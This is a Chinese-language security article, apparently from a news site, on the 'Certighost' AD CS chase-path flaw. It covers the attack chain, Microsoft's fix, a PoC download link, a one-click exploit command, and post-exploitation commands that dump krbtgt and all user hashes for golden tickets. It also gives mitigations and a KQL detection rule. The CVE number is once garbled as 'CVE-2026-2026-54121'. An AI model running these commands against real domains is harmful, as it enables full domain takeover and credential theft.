导语:2026年7月24日,安全研究人员H0j3n和Aniq Fakhrul正式公开了Certighost漏洞的完整利用代码。这个潜伏在Active Directory证书服务中的认证缺陷,仅需一个普通域用户账户,无需任何管理员权限,就能假冒域控制器身份申请证书,进而通过DCSync获取krbtgt密钥——整个Active Directory域就此易手。
一、漏洞概述
1.1 背景
Certighost的漏洞编号为CVE-2026-2026-54121,微软已于2026年7月14日发布修复补丁。然而,真正的问题在于:这个漏洞太容易被利用了。
研究人员于2026年5月14日向微软报告了该漏洞,微软于5月22日确认,7月14日悄然修复,7月24日研究人员公开了完整的利用代码。从报告到公开,整整十周——而利用这个漏洞的条件,低得令人发指:
- 只需要一个普通域用户账户(Domain Users组即可)
- 不需要任何管理员权限
- 不需要受害者交互
- 在默认配置下即可利用
1.2 影响评估
| 项目 | 详情 |
|---|---|
| CVE编号 | CVE-2026-54121 |
| CVSS评分 | 8.8(高危) |
| 漏洞类型 | 认证授权缺陷(Improper Authorization) |
| 影响范围 | Windows Server 2012 ~ 2025(含Server Core)、Windows 10 1607/1809 |
| 利用前提 | 普通域账户 + 网络可达企业CA |
| 利用结果 | 假冒域控制器 → DCSync → 域完全沦陷 |
攻击成功后,攻击者获得的是域控制器级别的身份。这意味着:
- 可以执行DCSync,导出所有用户密码哈希
- 可以获取krbtgt账户密钥,制造黄金票据永久驻留
- 可以为任意用户/机器颁发证书,实现持久化
- 整个Active Directory域的控制权,归攻击者所有
二、技术分析:AD CS chase路径的认证缺陷
2.1 AD CS基础:证书即身份
在深入漏洞原理之前,我们需要理解一个核心概念:在AD CS体系中,证书就是身份证明。
Active Directory证书服务(AD CS)是微软的公钥基础设施实现,与Active Directory深度集成,为域内用户和计算机颁发X.509证书。这些证书可用于加密、签名、安全通信和身份认证。
当你用证书向Key Distribution Center(KDC)进行身份认证时,KDC会将证书中的身份映射到一个Active Directory账户——映射成功,就发放Kerberos TGT。这意味着:谁控制了证书中的身份字段,谁就控制了映射到的那个账户。
2.2 chase路径:证书颁发机构的后门
AD CS有一个称为”chase”的目录对象解析回退机制。
在某些跨域控制器证书申请场景中,证书颁发机构(CA)可能需要对请求者的身份进行第二次目录查询。这个查询受两个请求属性控制:
- cdc(Client DC):指定CA应该联系的主机
- rmd(Remote Domain):指定CA应该查找的主体
当这两个属性同时存在于证书请求中时,CA会通过SMB和LDAP协议联系cdc指定的主机,查找rmd指定的主体,然后使用查到的身份数据来构建证书。
问题就出在这里:CA在联系cdc指定的主机之前,完全没有验证这个主机是否真的是它声称的那个域控制器。
2.3 完整攻击链
第一步:普通域用户创建机器账户(默认MachineAccountQuota=10)
↓
第二步:攻击者在自己的机器上运行LDAP和LSA伪造服务
↓
第三步:向CA提交证书请求,携带cdc=攻击者IP、rmd=目标DC
↓
第四步:CA连接到攻击者的SMB/LDAP服务,攻击者将真实DC的身份数据发回
↓
第五步:CA使用真实DC的objectSid和dNSHostName构建证书
↓
第六步:攻击者用这张证书通过PKINIT向KDC认证——此时KDC认为这就是那台DC
↓
结果:获得域控制器身份,可执行DCSync获取krbtgt哈希
关键在于机器账户的中介作用:攻击者创建(或控制)的机器账户,是一个有效的域主体,能够通过CA的身份验证检查——即使它根本不是那台被假冒的域控制器。

2.4 微软的修复
微软7月14日的更新在certpdef.dll中添加了CRequestInstance::_ValidateChaseTargetIsDC函数,在CA跟随chase之前进行验证:
- 拒绝IP字面量:不能再使用IP地址,必须是DNS名称
- 拒绝超长名称和LDAP元字符:防止畸形输入绕过
- 精确匹配DNS名称:目标必须正好匹配一个Active Directory计算机对象的dNSHostName
- 验证SERVER_TRUST_ACCOUNT标志:该计算机对象的userAccountControl必须包含值8192
- SID比较:后续还会进行SID比对,防止对象替换
三、PoC下载
Certighost利用工具由安全研究人员H0j3n和Aniq Fakhrul开发并公开,可自动化完成从证书申请到DCSync的完整攻击链。
PoC下载地址:
https://github.com/aniqfakhrul/CVE-2026-54121
工具特性:
- 自动化发现企业CA和目标域控制器
- 创建机器账户或复用已有账户
- 启动SMB/LDAP监听器完成relay攻击
- 自动提交携带cdc/rmd属性的证书请求
- 输出PFX证书文件和Kerberos凭据缓存
- 支持DCSync直接导出krbtgt哈希
依赖安装:
pip install --break-system-packages
git+https://github.com/fortra/impacket.git
cryptography pyasn1 asn1crypto pycryptodome dnspython
3.1 一键利用
python3 certighost.py
-d abc.local
-u normaluser -p '[PASSWORD]'
--dc-ip 192.168.8.128
3.2 利用后的下一步
拿到域控制器证书后,攻击者可以:
# 使用PKINIT认证获取TGT
python3 gettgtpkinit.py -dc-ip 192.168.8.128 abc.local/wdc01$ -pfx-file wdc01.pfx wdc01.ccache
# 使用TGT执行DCSync导出krbtgt哈希
python3 secretsdump.py -k -just-dc-user 'ABC/ krbtgt' wdc01.abc.local@wdc01.abc.local
# 或者导出所有用户哈希
python3 secretsdump.py -k -just-dc abc.local@wdc01.abc.local
拿到krbtgt哈希后,黄金票据永驻——即使管理员修改密码,攻击者依然可以通过伪造TGT保持对域的持久控制。
四、检测与防御
4.1 紧急修复(首选)
立即在所有AD CS服务器上安装微软2026年7月14日安全更新。这是唯一经过充分测试的根治方案。
4.2 临时缓解措施
如果无法立即打补丁,可以禁用chase回退:
certutil -setreg policyEditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
警告:这可能破坏合法的跨域控制器证书申请流程,建议先在测试环境验证。
4.3 检测规则(Sentinel KQL)
以下KQL查询可检测AD CS chase滥用行为:
MicrosoftWindows
| where EventID == 4886 // Certificate Services approved a certificate request
| where Param4 contains "Chase" or Param5 contains "CDC"
| project TimeGenerated, Computer, Subject, Param3, Param4, Param5
| order by TimeGenerated desc
4.4 排查重点
- Event ID 4886:CA批准了包含chase属性的证书请求
- 异常的LDAP/SMB出站连接:从CA到非DC地址的连接
- 短时间内大量机器账户创建
- 来自非DC主机的DCSync操作
五、写在最后
Certighost再次证明了一个老生常谈的道理:最危险的漏洞,往往藏在最不起眼的功能里。
AD CS的chase路径,本是为了解决跨域控制器场景下的证书申请问题。然而这个”方便”的功能,在没有充分认证验证的情况下,就成了攻击者的通途大道。
一个普通域用户,仅凭一台加入域的机器和默认的MachineAccountQuota,就能假冒域控制器、获取krbtgt密钥、彻底接管整个Active Directory域——这不是漏洞是什么?
对于红队成员而言,这是继PetitPotam、Nightmare和ESC8之后又一个AD CS经典利用路径。对于蓝队而言,请立即检查你们的AD CS服务器是否已经打上了7月的补丁——CERTIGHOST没有CVE在野利用报告,但这不代表它没有被利用。
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容